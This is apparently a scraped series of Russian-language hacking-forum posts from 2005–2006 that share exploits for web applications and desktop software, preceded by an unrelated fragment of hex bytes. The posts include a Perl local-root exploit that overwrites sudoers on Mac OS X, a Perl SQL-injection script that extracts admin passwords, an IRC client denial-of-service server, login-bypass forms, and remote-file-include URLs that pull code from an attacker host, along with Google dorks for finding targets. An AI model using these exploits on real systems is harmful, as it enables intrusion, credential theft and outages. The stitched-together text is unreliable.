0x8B, 0xD9, 0x2D, 0xDF, 0xCA, 0xB8, 0xF8, 0x41, 0xCE, 0xFD, 0x2A,
0x0F, 0x21, 0x59, 0x97, 0x5C,
0x94, 0xC6, 0xB9, 0x27, 0x32, 0xF5, 0x0E, 0xFB, 0xFB, 0x8C, 0xF5,
0x67, 0x9C, 0xD0, 0xD0, 0x28,
0xC9, 0x6D, 0x4B, 0x5A, 0x62, 0x5F, 0xB0, 0x73, 0x6E, 0x86, 0xFE,
0xB0, 0x7F, 0xDE, 0x94, 0x79,
0x29, 0x69, 0x68, 0xDF, 0x19, 0xAD, 0x62, 0xB5, 0xAC, 0x30, 0x4F,
0x5C, 0xEA, 0xED, 0x7F, 0xAE,
0x56, 0xCD, 0x41, 0x21, 0xB6, 0x4E, 0xD2, 0xA7, 0xA4, 0x4E, 0x97,
0x58, 0x19, 0xDC, 0xD2, 0x1F,
0x51, 0xAA, 0x91, 0x69, 0xD2, 0xE0, 0xF5, 0xDE, 0x35, 0x62, 0x5F,
0xE4, 0xB5, 0x83, 0x25, 0xF1,
0xA3, 0x86, 0x0F, 0x53, 0x70, 0x3E, 0x88, 0xD6, 0x8C, 0x54, 0xBB,
0x56, 0x7E, 0x47, 0xC7, 0x5A,
0x77, 0x9D, 0x67, 0xE6, 0x9B, 0x82, 0xD5, 0xCF, 0x27, 0xB6, 0x3D,
0x4C, 0x3F, 0xA0, 0x36, 0x4F,
0x63, 0xD2, 0xAA, 0x73, 0x8E, 0x6E, 0xA3, 0xEC, 0x0A, 0x26, 0x04,
0x5B, 0x24, 0xD7, 0x6B, 0xBD,
0x9D, 0xA2, 0x5B, 0x7A, 0xAB, 0x5A, 0xDD, 0x51, 0xBA, 0xE1, 0xDC,
0x39, 0x31, 0x85, 0x6A, 0x8B,
0xCF, 0x7E, 0x85, 0x73, 0xFD, 0x74, 0x74, 0x2D, 0x33, 0xC5, 0x6A,
0x22, 0x2A, 0x5C, 0xA2, 0xDA,
0x14, 0x1B, 0x34, 0x5F, 0x7B, 0xC7, 0x79, 0xEF, 0xBA, 0xEE, 0xD6,
0xB8, 0xCC, 0x6E, 0xF4, 0x52,
0x5F, 0x7F, 0x99, 0xCD, 0xFA, 0xE6, 0x03, 0x3D, 0x2D, 0x42, 0x0D,
0x0E, 0x68, 0x7C, 0xBA, 0xEC,
0xCE, 0x2C, 0xF6, 0x3C, 0xA6, 0xD1, 0x32, 0x5F, 0x41, 0x5D, 0x7B,
0x2A, 0xEE, 0xB0, 0x72, 0x74,
0xE3, 0x90, 0x93, 0xA1, 0x23, 0x0F, 0x16, 0x6E, 0xA1, 0x45, 0xAA,
0xE8, 0x59, 0x95, 0xFA, 0x0C,
0xB4, 0x8C, 0xFB, 0x7B, 0x77, 0xE3, 0x15, 0x8D, 0x37, 0xC8, 0x8E,
0x71, 0x0A, 0x5B, 0x95, 0x18,
0x92, 0x62, 0x27, 0x74, 0x0A, 0x17, 0x14, 0x87, 0x48, 0xFB, 0x16,
0x78, 0xB0, 0xCA, 0x23, 0xE5,
0x06, 0x9F, 0xB3, 0x17, 0x1B, 0xA3, 0xA7, 0x69, 0x59, 0xAF, 0xDD,
0x7C, 0xBB, 0x30, 0xBC, 0xA4,
0x22, 0x34, 0xB7, 0x26, 0x3D, 0xED, 0xB8, 0x81, 0x72, 0x61, 0x40,
0xB5, 0x62, 0xFE, 0xFE, 0x13,
0xD9, 0x5A, 0x5A, 0xEF, 0x54, 0x2B, 0x1C, 0xFB, 0x06, 0x64, 0x54,
0x56, 0x3A, 0x1E, 0xC6, 0x5B,
0x66, 0x4F, 0x3D, 0x9A, 0x70, 0x48, 0x77, 0xC3, 0x91, 0x9C, 0x81,
0xD2, 0x76, 0xC7, 0x23, 0xBC,
0x3E, 0xA7, 0x07, 0xA8, 0x29, 0xC4, 0x78, 0x79, 0x8A, 0x45, 0x88,
0xBF, 0x79, 0xF7, 0xD2, 0x34,
0x29, 0xCE, 0x44, 0xFA, 0x64, 0x70, 0xD8, 0x86, 0x55, 0x98, 0x5E,
0xCA, 0xE2, 0xC5, 0x87, 0x74,
0x65, 0x87, 0x3D, 0xB8, 0x8A, 0xEB, 0xC8, 0x9B, 0x0D, 0x8B, 0x09,
0xCB, 0xDB, 0xB5, 0xAF, 0x66,
0xDC, 0xC7, 0x97, 0xE5, 0x26, 0xFB, 0xDC, 0x8D, 0x68, 0x61, 0x1E,
0xE2, 0x87, 0x0D, 0x56, 0xD4,
0xB7, 0x7A, 0x97, 0x27, 0x1A, 0xF4, 0x8D, 0x3A, 0x7C, 0xB6, 0x7E,
0xFE, 0xD9, 0x42, 0xD1, 0x4F,
0x19, 0xF9, 0xBB, 0x5A, 0x6B, 0x6A, 0xC4, 0x1A, 0x6D, 0x8E, 0xCA,
0xA7, 0x3C, 0x3A, 0xB7, 0x75,
0xCE, 0xB0, 0x2F, 0x61, 0x06, 0xEE, 0xE6, 0x36, 0xC5, 0x8F, 0x83,
0xD7, 0xDC, 0x19, 0x60, 0xE8,
0xB7, 0xB1, 0x2A, 0x6B, 0xEC, 0xC6, 0xD4, 0xC7, 0xEC, 0x23, 0xD3,
0x5D, 0x58, 0x2F, 0x24, 0x6E,
0x87, 0xEE, 0x5F, 0x90, 0x96, 0x72, 0xE2, 0x9F, 0x3D, 0xCF, 0xF7,
0x4E, 0x93, 0x96, 0xB1, 0xDC,
0x86, 0x3A, 0xEE, 0xAA, 0x8C, 0xCD, 0xA8, 0
WebWiz
ID: 67686ba3b4103b69df379e7d
Thread ID: 6269
Created: 2005-12-31T10:47:23+0000
Last Post: 2005-12-31T10:47:23+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

SQL-инъекция в продуктах WebWiz
Программа:
webwiz site news access2000 : vesion 3.06 и более ранние версии
webwiz journal access2000 : version 1.0
webwiz weekly poll access2000 : version 3.06 и более ранние версии
database login access2000 : version 1.71 и более ранние версии
webwiz site news access97 : version 3.06 и более ранние версии
webwiz journal access97 : version 1.0
webwiz weekly poll access97 : version 3.06 и более ранние версии
database login access97 : version 1.71 и более ранние версии
Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует при обработке входных данных в параметре 'txtUserName' в сценарии "check_user.asp". Удаленный пользователь может послать специально сформированный HTTP POST запрос и выполнить произвольные SQL команды в базе данных приложения.
Пример:

Code:Copy to clipboard

<html>
< h1>WebWiz Scripts Login Bypass PoC - site news , journal , weekly poll - Kapda `s advisory </h1>
< p> Discovery and exploit by devil_box [at} kapda.ir</p>
< p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers
Institute
of Iran</a></p>
< form method="POST" action="http://target/[product]/check_user.asp">
< input type="hidden" name="txtUserName" value="[SQL INJECTION]">
< input type="hidden" name="txtUserPass" value="1">
< input type="submit" value="Submit" name="submit">
< /form></html> 

<html>
< h1>WebWiz Login Bypass PoC - Database login - Kapda `s advisory </h1>
< p> Discovery and exploit by devil_box [at} kapda.ir</p>
< p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers
Institute
of Iran</a></p>
< form method="POST" action="http://target/[product]/check_user.asp">
< input type="hidden" name="txtUserName" value="[SQL INJECTION]">
< input type="hidden" name="txtUserPass" value="1">
< input type="submit" value="Submit" name="submit">
< /form></html>

:zns2: www.webwizguide.info
Источник: www.securitylab.ru

HijackThis <=1.99.1 , возможность сфабриковать поддельные настройки
ID: 67686ba3b4103b69df379e28
Thread ID: 9859
Created: 2006-07-13T05:33:48+0000
Last Post: 2006-07-13T05:33:48+0000
Author: Ŧ1LAN
Prefix: Local
Replies: 0 Views: 2K

HijackThis <=1.99.1 , возможность сфабриковать поддельные настройки
Описание: Утилита HijackThis хранит свои настройки в ключе реестра

Code:Copy to clipboard

HKLM\SOFTWARE\Soeperman Enterprises Ltd.\HijackThis\

.
При этом содержащиеся в ключе данные не шифруются, не защищаются цифровой подписью или контрольной суммой. Это позволяет злоумышленнику сфабриковать поддельные настройки, в частности - поддельный список игнорирования для маскировки любых объектов , которые могут быть обнаружены утилитой. Список игнорирования хранится в открытом виде в текстовых параметрах IgnoreXX, где XX

  • порядковый номер. Параметр IgnoreNum хранит количество элементов списка игнорирования.
    Примеры параметров:
    Ignore4 = "O15 - Trusted Zone: *.energy-factor.com"
    Ignore7 = "O4 - HKLM\..\Run: [E-nrgyPlus] C:\Programmi\E-nrgyPlus\E-nrgyPlus.exe"

    ITW: Эксплуатация данной уязвимости обнаружена в некоторых ITW SpyWare и троянских программах, наиболее показательный пример - Trojan.Win32.StartPage.ahm.
    Меры защиты: Контроль за содержимым HKLM\SOFTWARE\Soeperman Enterprises Ltd.\HijackThis\ перед использованием утилиты HijackThis. В AVZ введена специальная микропрограмма "Очистка списка игнорирования утилиты HijackThis", удаляющая все элементы из списка игнорирования.
Обратный путь в каталогах в Comdev One Admin 3.1
ID: 67686ba3b4103b69df379e2a
Thread ID: 9809
Created: 2006-07-10T08:47:34+0000
Last Post: 2006-07-10T08:47:34+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

Обратный путь в каталогах в Comdev One Admin 3.1
Пример/эксплоит:
Возможно получение реального пути к веб-серверу с помощью запроса:
1.

Code:Copy to clipboard

http://victim.com/index.php 
POST PHPSESSID='&pageaction=1&username=1&password=1 HTTP/1.1

2.

Code:Copy to clipboard

http://victim.com/index.php?component=common&page=wce.forget.php 
POST PHPSESSID='&pageaction=1&username=1&email=test@test.ru HTTP/1.1

Источник: HATS security team

Sabdrimer PRO (v.2.2.4 ) Remote File Include Vulnerability
ID: 67686ba3b4103b69df379e2c
Thread ID: 9804
Created: 2006-07-10T04:51:27+0000
Last Post: 2006-07-10T04:51:27+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

Sabdrimer PRO (v.2.2.4 ) Remote File Include Vulnerability
Описание:
Работает только при register_globals=On
Пример/Эксплоит:

Code:Copy to clipboard

http://www.website.com/skins/advanced/advanced1.php?pluginpath[0]=[evil_script]

Google Dork : "© Sabdrimer CMS"

Повреждение памяти в HTML Help ActiveX компоненте в Internet Explorer
ID: 67686ba3b4103b69df379e2f
Thread ID: 9688
Created: 2006-07-05T07:47:06+0000
Last Post: 2006-07-05T07:47:06+0000
Author: DeeIP
Prefix: Remote
Replies: 0 Views: 2K

Повреждение памяти в HTML Help ActiveX компоненте в Internet Explorer

Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе.

Уязвимость существует из-за ошибки в HTML Help ActiveX компоненте (hhctrl.ocx) при обработке свойства "Image". Удаленный пользователь может установить несколько раз слишком длинную строку для уязвимого свойства, вызвать повреждение памяти и выполнить произвольный код на целевой системе.

Пример:

Code:Copy to clipboard

function Demo() {
	var a = new ActiveXObject("Internet.HHCtrl.1");
	var b = unescape("XXXX");
	while (b.length < 256) b += b;
	
	for (var i=0; i<4096; i++) {
        	a['Image'] = b + "";
	}
}
<input type='button' onClick='Demo()' value='Start Demo!'>
PHP-инклюдинг в SiteBuilder-FX
ID: 67686ba3b4103b69df379e30
Thread ID: 9687
Created: 2006-07-05T07:44:10+0000
Last Post: 2006-07-05T07:44:10+0000
Author: DeeIP
Prefix: Web
Replies: 0 Views: 2K

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "admindir" в сценарии admin/top.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

WonderEdit Pro CMS (template_path) Remote File Include Vulnerabilities
ID: 67686ba3b4103b69df379e31
Thread ID: 9682
Created: 2006-07-05T04:59:34+0000
Last Post: 2006-07-05T04:59:34+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

WonderEdit Pro CMS (template_path) Remote File Include Vulnerabilities
Пример/эксплоит:

Code:Copy to clipboard

http://[target]/[path]/template/rwb/user_bottom.php?config[template_path]=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[path]/template/gwb/user_bottom.php?config[template_path]=http://[attacker]/cmd.txt?&cmd=ls

Google dork: "powered by WonderEdit Pro"

Уязвимости: Mac OS X
ID: 67686ba3b4103b69df379e34
Thread ID: 7244
Created: 2006-03-03T10:58:13+0000
Last Post: 2006-07-02T01:21:54+0000
Author: Ŧ1LAN
Prefix: Local
Replies: 2 Views: 2K

Множественные уязвимости в Mac OS X
Программа: Apple Macintosh OS X
Описание:
Обнаруженные уязвимости позволяют злоумышленнику обойти ограничения безопасности, произвести XSS нападение, повысить свои привилегии на системе, вызвать отказ в обслуживании и выполнить произвольный код.

1. Множественные уязвимости существуют в PHP модуле для Apache. Подробное описание уязвимости:
Множественные уязвимости в PHP

2. Уязвимость существует в automount. Удаленный пользователь, контролирующий файловый сервер может заставить уязвимую систему смонтировать файловую систему, содержащую зарезервированные адреса. Удачная эксплуатация уязвимости позволит злоумышленнику вызвать отказ в обслуживании или выполнить произвольный код на целевой системе.

3. Обход каталога существует в BOM framework из-за ошибки при обработке некоторых архивов. Удаленный пользователь может с помощью специально сформированного архива распаковать файлы в произвольную директорию на системе.

4. Небезопасное создание временных файлов обнаружено в приложении "passwd". Локальный пользователь может с помощью специально сформированной символической ссылки перезаписать произвольные файлы на системе с привилегиями пользователю root. Пример:
xosx-passwd.pl

Code:Copy to clipboard

#!/usr/bin/perl
#
# /usr/bin/passwd[OSX]: local root exploit.
# 
# by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
# 
# (Apple) OSX's /usr/bin/passwd program has support for a custom
# passwd file to be used instead of the standard/static path. this
# feature has security issues in the form of editable file(s) being
# made anywheres on the disk and also writing arbitrary data to files.
#
# the first issue will only work if the file does not already exist,
# it is done using "umask 0;/usr/bin/passwd -i file -l <filename>".
# the second issue is once a successful password change has occured
# /usr/bin/passwd will insecurely re-write the passwd file to
# /tmp/.pwtmp.<pid>, which can be predicted and linked to a file of
# your choice. (this exploits the second issue to overwrite 
# /etc/sudoers)
#
# (for some reason this took apple 6 or so months to patch)

use POSIX;

$fake_passwd="/tmp/xpasswd.$$";
$passwd_pid=($$ + 1);
$passwd_tempfile="/tmp/.pwtmp.$passwd_pid";
$sudoers="/etc/sudoers";

sub pexit{print("[!] @_.\n");exit(1);}
print("[*] /usr/bin/passwd[OSX]: local root exploit.\n");
print("[*] by: vade79/v9 v9\@fakehalo.us (fakehalo/realhalo)\n\n");
unlink($fake_passwd);
print("[*] making fake password file. ($fake_passwd)\n");
open(FP,">$fake_passwd")||pexit("couldn't open/write to $fake_passwd");
# uid must equal the current user.
print(FP "ALL ALL=(ALL) ALL #::" . getuid . ":" . getuid . "::" .
getuid . ":" . getuid . "::/:/\n");
close(FP);
print("[*] sym-linking $sudoers -> $passwd_tempfile.\n");
symlink($sudoers,$passwd_tempfile)||pexit("couldn't link files.");
print("[*] running /usr/bin/passwd on $fake_passwd.\n");
print("[*] (use ANY password longer than 4 characters)\n\n");
system("/usr/bin/passwd -i file -l $fake_passwd \"ALL ALL=(ALL) ALL #\"");
print("\n[*] running \"sudo sh\", use your REAL (user) password.\n\n");
system("/usr/bin/sudo sh");
exit(0);

5. Директории пользователя монтируются небезопасным образом при создании FileVault образа. Удаленный пользователь может получить неавторизованный доступ к файлам.

6. Обнаружена ошибка в IPSec при обработке определенных состояний ошибок. Удаленный пользователь может аварийно завершить работe VPN соединений.

7. Переполнение динамической памяти обнаружено в компоненте LibSystem при обработке запроса на большое количество памяти. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код на целевой системе.

8. "Download Validation" в Mail компоненте не предупреждает пользователя об открытии небезопасного вложения при двойном щелчке по файлу.

9. Уязвимость существует из-за того, что Perl некорректно сбрасывает привилегии, если приложение использует выражение $< = numeric_id; для установки uid.

10. Переполнение динамической памяти обнаружено в приложении rsync при передаче расширенных атрибутов. Авторизованный пользователь может вызвать отказ в обслуживании приложения или выполнить произвольный код на целевой системе.

11. Переполнение динамической памяти обнаружено в WebKit при обработке HTML кода. Удаленный пользователь может с помощью специально сформированной Web страницы выполнить произвольный код на целевой системе.

12. Переполнении стека обнаружено в браузере Safari при обработке JavaScript кода. Удаленный пользователь может с помощью специально сформированной Web страницы, содержащей злонамеренный JavaScript, выполнить произвольный код на целевой системе.

13. Уязвимость обнаружена в модели безопасности браузера Safari при обработке HTTP перенаправлений. Удаленный пользователь может выполнить произвольный код сценария в браузер жертвы в контексте безопасности локального домена.

14. Ошибка в Safari / LaunchServices может позволить злоумышленнику выдать злонамеренный файл за безопасный и выполнить его на системе, если включена опция "Open safe files after downloading". Уязвимости относится к:
Выполнение произвольных команд в Mac OS X

15. Межсайтовый скриптинг возможен в компоненте Syndication (Safari RSS). Удаленный пользователь может выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Решение: Установите исправление с сайта производителя.
:zns2: производитель

FineShop - XSS and SQL Inj
ID: 67686ba3b4103b69df379e35
Thread ID: 9601
Created: 2006-06-30T20:54:55+0000
Last Post: 2006-06-30T20:54:55+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

FineShop - XSS and SQL Inj
Дата: 2006-06-30
Уровень: умерено критический
Решение: Неисправлено
Software: FineShop

Описание:
1. Уязвимость позволяет провести XSS атаку
пример:

Code:Copy to clipboard

http://[host]index.php?id_produc=
http://[host]index.php?promocja=
http://[host]index.php?wysw=

2. Уязвимость позволяет провести SQL Inj
Пример:

Code:Copy to clipboard

http://[host]index.php?id_produc
http://[host]index.php?id_kat
http://[host]index.php?produkt
Уязвимости: Kaspersky antivirus
ID: 67686ba3b4103b69df379e36
Thread ID: 8720
Created: 2006-05-26T09:35:08+0000
Last Post: 2006-06-30T08:18:25+0000
Author: Ŧ1LAN
Prefix: Local
Replies: 6 Views: 2K

Kaspersky6-http
Узявимые программы:
Kaspersky antivirus 6
Kaspersky internet security 6
Описание:
Уязвимость вызвана из-за HTTP парсинг ошибок в мониторе HTTP. Любое вредоносное ПО на локальном компе может обойти вирусный монитор HTTP.
Эксплоит:

Code:Copy to clipboard

This perl script could be run with ActiveState Perl 5.8:

use IO::Socket::INET;
use strict;

my( $h_srv, $h_port, $h_url ) = ( 'www.eicar.com', 'http(80)',
                                  'http://www.eicar.com/download/eicar.com' );

syswrite STDOUT, "connecting to $h_srv:$h_port (for $h_url)\n";

my $s = IO::Socket::INET->new( PeerAddr => $h_srv,
                               PeerPort => $h_port,
                               Proto    => 'tcp' );
die "socket: $!" unless $s;

sendthem( $s,
          "GET $h_url HTTP/1.1",
          "Host: $h_srv",
          ""
    );
my $doc = read_body( $s, read_headers( $s ) );
syswrite STDOUT,
    'document is <'.$doc.'> len='.length($doc)."\n";

sub sendthem {
    my $s = shift;
    my $c = 0;
    foreach( @_ ) {
        my @a = split //, $_;
        ++$c;
        syswrite STDOUT, "query $c: ";
        foreach( @a ) {
            sendone( $s, $_ );
        }
        sendone( $s, "\r" );
        sendone( $s, "\n" );
    }
}

sub sendone {
    my( $s, $v ) = @_;
    $s->syswrite( $v );
    syswrite STDOUT, $v;
# !!! comment next line to have monitoring working;)
    select( undef, undef, undef, 0.300 );
}

sub read_headers {
    my( $s ) = @_;
    my( $c, $cl ) = ( 0, 0 );
    for(;; ) {
        my $l = read_line( $s );
        ++$c;
        syswrite STDOUT, "header $c: $l";
        syswrite STDOUT, "\r\n";
        last if not $l and $c;
        $cl = $1 if $l =~ /^Content-Length:\s+(\d+)/;
    }
    $cl;
}

sub read_line {
    my( $s ) = @_;
    my $str = '';
    for(;; ) {
        my $v = '';
        my $r = $s->sysread( $v, 1 );
        die 'EOF reading headers!' unless $r;
        last if $v eq "\n";
        next if $v eq "\r";
        $str .= $v;
    }
    return $str;
}

sub read_body {
    my( $s, $cl ) = @_;
    my( $str, $cli ) = ( '', $cl );
    syswrite STDOUT, "reading body <content-length: $cli> ...\n"; 
    for(;; ) {
        my $v = '';
        my $r = $s->sysread( $v, 1 );
        last unless $r;
        $str .= $v;
        --$cl if $cli;
        last if not $cl and $cli;
    }
    return $str;
}

:zns2: Производитель

Scout Portal Toolkit <= 1.4.0 (forumid) Remote SQL Injection Exploit
ID: 67686ba3b4103b69df379e37
Thread ID: 9566
Created: 2006-06-29T19:38:05+0000
Last Post: 2006-06-29T19:38:05+0000
Author: ][-user
Prefix: Web
Replies: 0 Views: 2K

Description: Scout Portal Toolkit <= 1.4.0 (forumid) Remote SQL Injection Exploit
Author: Simo64, Moroccan Security Research Team
Exploit:

Code:Copy to clipboard

#!/usr/bin/perl
#===============================================================
#    Scout Portal Toolkit 1.4.0 Remote SQL injection Exploit 
#    Coded By Simo64
#    Moroccan Security Research Team
#   Specials thx to :Greetz : 

#  CiM-Team - CrAsH_oVeR_rIdE -  dabdoub - damip - DarkbiteX - drackanz - Iss4m -  megamati 
#  Mourad - Preddy -Rachid - RapYaS - r00tkita - S4mi - secteura - Silitix - tahati - And All Freinds !
#===============================================================

# Details  :
#  Scout Portal Toolkit 1.4.0 Remote SQL injection Vulnerability
#  Website : http://scout.wisc.edu/Projects/SPT/
#  Vulnerable File : SPT--ForumTopics.php

#  PoC : http://host/path/SPT--ForumTopics.php?forumid=[SQL]
#  Exemple :
#  This  will display admin name and password
#  Exploit : http://victime/path/SPT--ForumTopics.php?forumid=-9+UNION+SELECT+null,UserName,UserPassword,33,44,55+FROM+APUsers+WHERE+UserId=1
#  The exploit will work regardless of magic_quotes_gpc is set or not
#==============================================================


use LWP::Simple;

print "\n===============================================================";
print "\n=  Scout Portal Toolkit <= 1.4.0 Remote SQL injection Exploit =";
print "\n=             Discovred & Coded By Simo64                     =";

print "\n=           Moroccan Security Research Team                   =";
print "\n===============================================================\n\n";

my($targ,$path,$userid,$xpl,$xpl2,$data,$data2,$email);

       print "Enter Traget Exemple: http://site.com/ \nTraget : ";
       chomp($targ = <STDIN>);
       print "\n\nEnter Path TO Portal exemple:  /SPT/ OR just / \nPath : ";

       chomp($path=<STDIN>);
       print "\n\nEnter userid  Exemple: 1\nUserID :  ";
       chomp($userid=<STDIN>);

$xpl1="-9+UNION+SELECT+null,UserName,UserPassword,null,null,null+FROM+APUsers+WHERE+UserId=";

$xpl2="-9+UNION+SELECT+null,Email,null,null,null,null+FROM+APUsers+WHERE+UserId=";
print "\n[+] Connecting to: $targ\n";
$data = get($targ.$path."SPT--ForumTopics.php?forumid=".$xpl1.$userid) || die "\n[+]Connexion Failed!\n";

$data2 = get($targ.$path."SPT--ForumTopics.php?forumid=".$xpl2.$userid) || die "\n[+]Connexion Failed!\n";
print "\n[+] Connected !\n";
print "[+] Sending Data to $targ ....\n\n";


$username=substr($data,index($data,"<h1>")+11,index($data,"</h1>")-12);
chomp $username;

$password=substr($data,index($data,"</h1>")+34,index($data,"</p>")-index($data,"</h1>")-34);

chomp $password;

$email=substr($data2,index($data,"<h1>")+11,index($data2,"</h1>")-12);
chomp $email;

if(length($password) <= 34){
print "[!]Exploit Succeded !\n********************\n\n=========  UserID = $userid Infos =======";

print "\n= UserID   : ".$userid;
print "\n= Username : ".$username;
print "\n= Password : ".$password;
print "\n= Email    : ".$email;
print "\n===================================\n\nEnjoy !";

}
else {print "\n[!] Exploit Failed !";}
BitchX (epic) =<1.1-final | do_hook() Boundary Check Error Remote DoS
ID: 67686ba3b4103b69df379e39
Thread ID: 9430
Created: 2006-06-24T15:28:13+0000
Last Post: 2006-06-25T08:06:24+0000
Author: not null
Prefix: DoS
Replies: 2 Views: 2K

BitchX (epic) = <1.1-final | do_hook() Boundary Check Error Remote DoS

Code:Copy to clipboard

//greats to nitr0us, beck, gruba, samelat, ran, etc..

#include <stdio.h>
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 6667
#define LEN 100

int intalign=-999; //use negative number

void sendbuff(int sock) {
char ptr[LEN];
char buffer[2048];
bzero(ptr,LEN);
bzero(buffer,2048);
memset(ptr,0x41,sizeof(ptr)-1);
sprintf(buffer,":%s %i %s %s\n",ptr,intalign,ptr,ptr);
write(sock,buffer,sizeof(buffer));
}

int main() {
struct sockaddr_in srv_addr, client;
int len,pid,sockfd,sock;

sockfd = socket(AF_INET, SOCK_STREAM, 0);

if (sockfd < 0) { 
perror("error socket()"); 
exit(1);
}
     
bzero((char *) &srv_addr, sizeof(srv_addr));
srv_addr.sin_family = AF_INET;
srv_addr.sin_addr.s_addr = INADDR_ANY;
srv_addr.sin_port = htons(PORT);

if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) < 0)  {
perror("error bind()");
exit(1);
}


printf("BitchX (epic) =<1.1-final | do_hook() Boundary Check Error Remote DoS\n");
printf("====================================================================\n");
printf("Listening on port %i\n",PORT);

listen(sockfd,5);
len = sizeof(client);

while (1) {
sock = accept(sockfd, (struct sockaddr *) &client, &len);
if (sock < 0)  {
perror("error accept()");
exit(1);
}

pid = fork();
if (pid < 0)  {
perror("fork()");
exit(1);
}
if (pid == 0)  {
close(sockfd);
printf("Conection from %s\n",inet_ntoa(client.sin_addr));
sendbuff(sock);
exit(0);
}
else close(sock);
} 
return 0;
}
P.A.I.D v2.2 - XSS
ID: 67686ba3b4103b69df379e3b
Thread ID: 9315
Created: 2006-06-19T20:46:57+0000
Last Post: 2006-06-19T20:46:57+0000
Author: ZXroot
Prefix: Web
Replies: 0 Views: 2K

Уязвимый продукт: P.A.I.D v2.2
Уязвимость: XSS
Уязвимые файлы: faq.php,index.php
Пример:

Code:Copy to clipboard

 /index.php?read=<IMG%20SRC=java script: alert('XSS')>

:zns2: paid
[mod][Ŧ1LAN:]
В след раз, пожалуйста, оформляйте тему по правлиам, и не указывайте версию продукта в названии темы.
Производитель --> Хоумпага(типа кнопка такая есть)
[/mod]

iPostMX 2005 - Cross-Site Scripting
ID: 67686ba3b4103b69df379e3e
Thread ID: 9290
Created: 2006-06-17T20:55:00+0000
Last Post: 2006-06-17T20:55:00+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

iPostMX 2005 - Cross-Site Scripting
Дата Выпуска: 2006-06-16
Уровень: Менее критический
Воздействие: Cross-Site Scripting
Решение: Неисправленно
Software: iPostMX 2005

Описание:
Уязвимость позволяет провести XSS атаку
Пример:

Code:Copy to clipboard

http://[host]/userlogin.cfm?returnurl=
SSPwiz Plus 1.x - XSS
ID: 67686ba3b4103b69df379e3f
Thread ID: 9288
Created: 2006-06-17T20:48:48+0000
Last Post: 2006-06-17T20:48:48+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

SSPwiz Plus - Cross-Site Scripting

Дата Выпуска: 2006-06-16
Уровень: Менее критический
Воздействие: Cross-Site Scripting
Решение: Неисправленно
Software: SSPwiz Plus 1.x
Описание:
Данная уязвимость позволяет провести XSS атаку.

Пример:

Code:Copy to clipboard

http: //[host]/index.cfm?dspw=login*message=
Minerva (phpbb_root_path) <= 2.0.8a Build 237 Remote File Include Vulnerability
ID: 67686ba3b4103b69df379e40
Thread ID: 9217
Created: 2006-06-14T06:42:45+0000
Last Post: 2006-06-14T06:42:45+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

Minerva (phpbb_root_path) <= 2.0.8a Build 237 Remote File Include Vulnerability
Описание:
Вот сплоит от наших польских друзей, ну в название всё написано...
" Remote File Include Vulnerability"
Пример/эксплоит:

Code:Copy to clipboard

http://www.site.com/[Minerva_path]/stat_modules/users_age/module.php?phpbb_root_path=[evil_scripts]

google dork: Powered by Minerva 237
видео:
можно помотреть здесь
а можно и скачать здесь

Mole Group Ticket Booking Script - XSS
ID: 67686ba3b4103b69df379e41
Thread ID: 9209
Created: 2006-06-13T22:27:15+0000
Last Post: 2006-06-13T22:27:15+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

]Mole Group Ticket Booking Script - XSS
Дата Выпуска: 2006-06-13
Воздействие: Cross-Site Scripting
Решение: Неисправлено
Software: Mole Group Ticket Booking Script
Описание:
Уязвимость позволяет проверсти XSS атаку.
Примеры:

Code:Copy to clipboard

http://[host]/booking3.php?name=
http://[host]/booking3.php?adress1=
http://[host]/booking3.php?adress2=
http://[host]/booking3.php?country=
http://[host]/booking3.php?postcode=
http://[host]/booking3.php?email=
http://[host]/booking3.php?phone=
http://[host]/booking3.php?mobile=
ClickGallery 5.x - XSS
ID: 67686ba3b4103b69df379e42
Thread ID: 9207
Created: 2006-06-13T22:20:11+0000
Last Post: 2006-06-13T22:20:11+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

ClickGallery - XSS

Дата Выпуска: 2006-06-13
Воздействие: Cross-Site
Решение: Неисправлено
Software: ClickGallery 5.x
Описание:
Уязвимость позволяет провести XSS атаку
Пример:

Code:Copy to clipboard

http://[host]/gallery.asp?gallery_id=
My Photo Scrapbook 1.x - SQL Inj, Cross-Site Scripting
ID: 67686ba3b4103b69df379e44
Thread ID: 9161
Created: 2006-06-10T23:03:15+0000
Last Post: 2006-06-10T23:03:15+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

My Photo Scrapbook - SQL Inj, Cross-Site Scripting
Дата Выпуска: 2006-06-09
Уровень: Умеренно критический
Воздействие: Cross-Site Scripting, Манипулирование данными
Решение: Неисправленно
Software: My Photo Scrapbook 1.x

Описание:

  1. Входящие данные в параметре "key_m" в display.asp, должным образом не проверяются перед возвращением пользователя. Это может эксплуатироваться, чтобы выполнить произвольный HTML и код XSS на сессии браузера пользователя в контексте уязвимого сайта.
    Пример:

Code:Copy to clipboard

http://[host]/display.asp?key_m=
  1. Входящие данные в параметре "key" в Displayview.asp должным образом не проверяются перед использованием в запросе SQL. Это может эксплуатироваться, чтобы управлять запросами SQL, вводя произвольный код SQL.
    Пример:

Code:Copy to clipboard

http://[host]/Displayview.asp?key=
Easy Ad-Manager - XSS
ID: 67686ba3b4103b69df379e45
